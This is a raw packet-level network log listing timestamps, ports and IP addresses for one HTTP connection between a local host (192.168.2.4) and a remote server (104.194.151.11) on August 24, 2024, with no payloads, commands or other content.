Aug 24, 2024 11:51:58.881730080 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.881768942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881778955 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881788015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881798029 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881808043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881808996 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.881818056 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881819010 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.881843090 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.881843090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881853104 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881863117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881864071 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.881872892 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881890059 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.881911993 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.881918907 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881930113 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881939888 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881947994 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.881954908 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.881966114 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.881989956 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.921773911 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.921808958 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.921821117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.921830893 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.921840906 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.921852112 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.921853065 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.921864033 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.921866894 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.921873093 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.921904087 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976428032 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976476908 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976494074 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976506948 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976524115 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976536036 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976547956 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976556063 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976560116 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976572037 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976583004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976594925 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976602077 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976613998 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976620913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976633072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976635933 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976644993 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976655006 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976655006 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976665974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976679087 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976680994 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976691961 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976708889 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976728916 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976747036 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976758003 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976774931 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976783037 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976785898 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976797104 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976809025 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976809978 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976819992 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976831913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976835966 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976843119 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976854086 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976865053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976874113 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976877928 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976897001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976917028 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976922989 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976933956 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976943970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976954937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976960897 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976973057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.976983070 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.976984978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977005959 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977027893 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977076054 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977092981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977104902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977112055 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977117062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977124929 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977128983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977142096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977148056 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977154016 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977164984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977166891 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977175951 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977188110 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977196932 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977199078 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977211952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977215052 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977222919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977226019 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977235079 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977246046 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977255106 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977279902 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977370977 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977384090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977392912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977404118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977412939 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977416039 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977425098 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977427959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977447033 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977462053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977467060 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977472067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977479935 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977483988 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977495909 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977505922 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977510929 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977516890 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977529049 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977539062 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977540970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977552891 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977552891 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977565050 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977576971 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977581978 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977587938 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977598906 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977606058 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977611065 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977622986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977623940 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977643967 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977657080 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977741003 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977766991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977777958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977778912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977791071 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977801085 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977802992 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977813005 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977816105 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977828026 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977829933 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977839947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977849960 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977850914 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977860928 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977871895 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977875948 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977883101 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977894068 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977894068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977909088 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977911949 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977926970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977935076 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977938890 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977950096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977961063 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977962017 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977972984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977979898 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.977983952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.977996111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.978007078 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.978007078 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.978018999 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.978029966 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.978032112 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.978040934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.978053093 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.978056908 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.978064060 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.978075981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.978075981 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.978091002 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.978120089 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.012540102 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.012584925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.012595892 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.012607098 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.012617111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.012628078 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.012639046 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.012675047 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.012732029 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068617105 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068641901 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068654060 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068664074 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068675995 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068686008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068686962 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068697929 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068710089 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068737984 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068789005 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068799019 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068808079 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068818092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068828106 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068829060 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068835974 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068841934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068857908 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068864107 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068866968 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068876982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068886995 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068891048 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068897009 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068898916 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068907022 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068919897 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068928957 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068928957 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068938971 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068950891 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068953991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068964005 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068964958 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068974018 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068984032 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.068985939 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.068993092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069010019 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069011927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069017887 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069020987 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069031954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069039106 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069041967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069053888 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069065094 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069075108 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069096088 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069164038 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069191933 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069201946 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069202900 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069211006 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069221020 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069221973 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069231987 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069232941 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069242001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069243908 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069252968 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069262028 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069262981 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069272995 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069283962 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069303036 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069391012 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069400072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069408894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069420099 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069427967 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069431067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069434881 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069441080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069449902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069459915 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069461107 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069470882 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069472075 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069480896 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069489956 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069497108 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069499969 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069509983 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069509983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069521904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069525003 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069531918 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069545031 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069549084 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069565058 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069586039 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069804907 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069814920 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069823980 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069832087 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069839954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069839954 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069848061 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069849968 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069861889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069869995 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069871902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069883108 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069892883 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069897890 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069901943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069905996 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069911003 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069916010 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069921017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069936991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069936991 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069946051 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069956064 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069966078 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069967031 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069976091 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069982052 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.069987059 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.069996119 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.070003986 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.070005894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.070014954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.070019007 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.070036888 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.070043087 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.070127010 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.070137978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.070147038 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.070163012 CEST	80	49730	104.194.151.11	192.168.2.4
